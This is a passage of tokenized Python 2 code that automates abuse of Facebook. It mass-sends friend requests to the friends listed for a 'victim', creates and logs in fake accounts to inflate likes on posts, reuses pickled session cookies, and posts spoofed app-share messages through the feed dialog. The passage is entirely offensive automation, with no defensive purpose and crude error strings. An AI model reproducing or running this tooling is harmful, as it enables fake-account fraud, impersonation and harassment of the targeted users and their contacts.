"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "person", "s", "\\u", "send_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "person", "s", "\\u", "send_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"\\u", "frie", "nd", "\\u", "send", ".", "txt", "\"_", ")_", ",_", "\"", "ab", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "person", "s", "\\u", "send_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"\\u", "frie", "nd", "\\u", "send", ".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "linea_", "=_", "persons_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "linea_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "friends_", "._", "append_", "(_", "linea_", "._", "strip_", "(_", "\"\\\\", "n", "\\\\", "r", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "percentage_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'", "Sen", "ding", " ", "frie", "nd", " ", "request", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "user", "ID_", "in_", "friends_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "user", "ID_", "not_", "in_", "frie", "ds", "\\u", "send_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Esc", "ape", " ", "condition_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "count_", ">_", "int_", "(_", "number_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "person", "s", "\\u", "send_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "count_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "'''", " ", "Select", "s", " ", "the", " ", "fb", "\\u", "dt", "sg", " ", "form", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "c\\u", "user_", "=_", "get", "C", "\\u", "user_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "to", "\\u", "frie", "nd", "'_", ":_", "user", "ID_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "action", "'_", ":_", "'", "add", "\\u", "frie", "nd", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "how", "\\u", "found", "'_", ":_", "'", "profile", "\\u", "button", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ref", "\\u", "param", "'_", ":_", "'", "none", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "data", "[", "gt", "][", "profile", "\\u", "owner", "]'_", ":_", "user", "ID_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "\\u", "data", "[", "gt", "][", "ref", "]'_", ":_", "'", "timeline", ":", "timeline", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "outgoing", "\\u", "id", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "logg", "ing", "\\u", "location", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "no", "\\u", "fly", "out", "\\u", "on", "\\u", "click", "'_", ":_", "'", "true", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ego", "\\u", "log", "\\u", "data", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "http", "\\u", "refere", "r", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "c\\u", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "n", "8a", "D5", "z", "5", "zu", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tts", "tamp", "'_", ":_", "'", "265", "817", "211", "599", "516", "953", "787", "450", "107", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "aja", "x", "/", "add", "\\u", "frie", "nd", "/", "action", ".", "php", "'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "percentage_", "\\u\\u\\uNL\\u\\u\\u_", "percentage_", "=_", "(_", "i_", "*_", "100.0_", ")_", "/_", "len_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Complete", "d", " ", "[", "%", ".2", "f", "%%", "]\\\\", "r", "'_", "%_", "percentage_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "global", "Logging_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "logs_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'", "Friend", " ", "Request", " ", "sent", " ", "from", " ", "%", "s", " ", "to", " ", "%", "s", "!", " ", "\\\\", "n", "'_", "%_", "(_", "c\\u", "user_", ",_", "user", "ID_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "person", "s", "\\u", "send_", "._", "write_", "(_", "user", "ID_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "logs_", "(_", "'", "Error", " ", "sendin", "g", " ", "request", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Error", " ", "sendin", "g", " ", "request", " ", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "signal", "Cau", "ght_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "message_", "=_", "'%", "s", " ", "catch", " ", "from", " ", "send", " ", "request", " ", "module", "'_", "%_", "e_", "._", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logs_", "(_", "str_", "(_", "message_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'%", "s", " ", "\\\\", "n", "'_", "%_", "message_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "person", "s", "\\u", "send_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raw", "\\u", "input_", "(_", "'", "Press", " ", "enter", " ", "to", " ", "continue", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "load", "Persisten", "t", "Cookie_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "global_", "cookie", "Array_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "\"", "cookie", "s", "Object", "\"_", ",_", "\"", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cookie", "Array_", "=_", "pickle_", "._", "load_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "'''", " ", "Se", " ", "lim", "pian", " ", "las", " ", "cookie", "s", " ", "que", " ", "no", " ", "sir", "ven", " ", "-", " ", "se", " ", "filtr", "a", " ", "el", " ", "id", " ", "para", " ", "camb", "iar", " ", "su", " ", "estado", " ", "a", " ", "logged", " ", "=", " ", "0", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "cookie_", "in_", "cookie", "Array_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cj_", "._", "\\u", "cookies_", "=_", "cookie_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "element_", "in_", "cj_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "element_", "._", "name_", "==_", "'", "checkp", "oint", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "strip_", "=_", "str_", "(_", "element_", "._", "value_", ")_", "._", "strip_", "(_", "\"%", "7", "B", "%", "2", "2u", "%", "2", "2", "%", "3", "A", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "remove", "Id_", "=_", "strip_", "._", "split_", "(_", "\"%", "2", "C", "%", "2", "2t", "%", "2", "2", "%", "3", "A", "\"_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "database_", "._", "set", "Log", "ged", "Out_", "(_", "remove", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "cookie", "Array_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "like_", "(_", "post", "Id_", ",_", "quantity_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "signal_", "._", "signal_", "(_", "signal_", "._", "SIGINT_", ",_", "signal", "\\u", "handler_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "email_", ",_", "password_", "=_", "set", "Mail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "login_", "(_", "email_", ",_", "password_", ",_", "'", "real", "'_", ")_", "is_", "not_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Cooki", "e", " ", "of", " ", "the", " ", "real", " ", "account_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "master", "Cookie_", "=_", "cj_", "._", "\\u", "cookies_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "times_", "=_", "int_", "(_", "quantity_", ")_", "/_", "10_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "times_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cj_", "._", "\\u", "cookies_", "=_", "master", "Cookie_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Check", " ", "if", " ", "users", " ", "alr", "ead", "y", " ", "exists_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "create", "User_", "(_", "10_", ")_", "==_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Delete", " ", "exist", "ing", " ", "users", " ", "and", " ", "re", "-", "execute", " ", "the", " ", "create", " ", "module_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "delete", "User_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "delete", "Account", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "create", "User_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mass", "Login_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "percentage_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "j_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "total_", "=_", "len_", "(_", "cookie", "Array_", ")_", "*_", "len_", "(_", "post", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "flush_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "cookie", "Array_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "for_", "post_", "in_", "range_", "(_", "len_", "(_", "post", "Id_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "cj_", "._", "\\u", "cookies_", "=_", "cookie", "Array_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c\\u", "user_", "=_", "get", "C", "\\u", "user_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "like", "\\u", "action", "'_", ":_", "'", "true", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ft", "\\u", "ent", "\\u", "identifi", "er", "'_", ":_", "str_", "(_", "post", "Id_", "[_", "post_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "source", "'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "client", "\\u", "id", "'_", ":_", "str_", "(_", "c\\u", "user_", ")_", "+_", "'%", "3", "A4", "047", "576", "437", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "root", "id", "'_", ":_", "'", "u\\u", "0", "\\u", "2o", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "gift", "occ", "asi", "on", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ft", "[", "tn", "]'_", ":_", "'%", "3", "E", "%", "3", "D", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ft", "[", "type", "]'_", ":_", "'", "20", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "nct", "r", "[\\u", "mod", "]'_", ":_", "'", "page", "let", "\\u", "timeline", "\\u", "recent", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "user", "'_", ":_", "c\\u", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "a", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "dyn", "'_", ":_", "'", "7", "n", "8a", "hy", "j", "3", "5", "ym", "3", "Ki", "A", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "\\u", "req", "'_", ":_", "'", "c", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ph", "stamp", "'_", ":_", "'", "165", "816", "595", "797", "611", "370", "260", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "aja", "x", "/", "uf", "i", "/", "like", ".", "php", "'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "global", "Logging_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "logs_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "percentage_", "=_", "(_", "j_", "*_", "100.0_", ")_", "/_", "total_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "[", "%", ".2", "f", "%%", "]", " ", "of", " ", "likes", " ", "complete", "d", "\\\\", "r", "'_", "%_", "(_", "percentage_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "j_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "'", "Un", "know", "n", " ", "error", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cj_", "._", "\\u", "cookies_", "=_", "master", "Cookie_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "delete", "User_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "delete", "Account", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raw", "\\u", "input_", "(_", "'", "Finish", "ed", " ", "like", "()", " ", "module", ",", " ", "press", " ", "enter", " ", "to", " ", "continue", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "signal", "Cau", "ght_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "delete", "User_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message_", "=_", "'%", "s", " ", "catch", " ", "from", " ", "create", " ", "module", "'_", "%_", "e_", "._", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logs_", "(_", "str_", "(_", "message_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'%", "s", " ", "\\\\", "n", "'_", "%_", "message_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raw", "\\u", "input_", "(_", "'", "Press", " ", "enter", " ", "to", " ", "continue", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "app", "Messag", "e", "Spo", "of_", "(_", "app", "Id_", ",_", "link_", ",_", "picture_", ",_", "title_", ",_", "domain_", ",_", "description_", ",_", "comment_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "c\\u", "user_", "=_", "get", "C", "\\u", "user_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "str_", "(_", "c\\u", "user_", ")_", "+_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fb", "\\u", "dt", "sg_", "=_", "set\\u", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "fb", "\\u", "dt", "sg_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "ERROR", " ", "MOT", "HER", " ", "FU", "CK", "ER", " ", "-\\u", "-'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arguments_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fb", "\\u", "dt", "sg", "'_", ":_", "fb", "\\u", "dt", "sg_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "previe", "w", "'_", ":_", "'", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "path", "'_", ":_", "'", "feed", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "id", "'_", ":_", "int_", "(_", "app", "Id_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "redirec", "t", "\\u", "uri", "'_", ":_", "'", "https", "://", "facebook", ".", "com", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "display", "'_", ":_", "'", "page", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "link", "'_", ":_", "str_", "(_", "link_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "pic", "ture", "'_", ":_", "str_", "(_", "picture_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "str_", "(_", "title_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "caption", "'_", ":_", "str_", "(_", "domain_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "description", "'_", ":_", "str_", "(_", "description_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "from", "\\u", "post", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "feed", "form", "\\u", "user", "\\u", "message", "'_", ":_", "str_", "(_", "comment_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "publi", "sh", "'_", ":_", "'", "Share", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "audience", "[", "0", "][", "value", "]'_", ":_", "'", "80", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "datos_", "=_", "urlencode_", "(_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/", "v2", ".0", "/", "dialog", "/", "feed", "'_", ",_", "datos_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "global", "Logging_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "en", " ", "el", " ", "modulo", " ", "de", " ", "app", "Messag", "e", "Spo", "of", "()'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Error", " ", "en", " ", "el", " ", "modulo", " ", "de", " ", "app", "Messag", "e", "Spo", "of", "()", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", 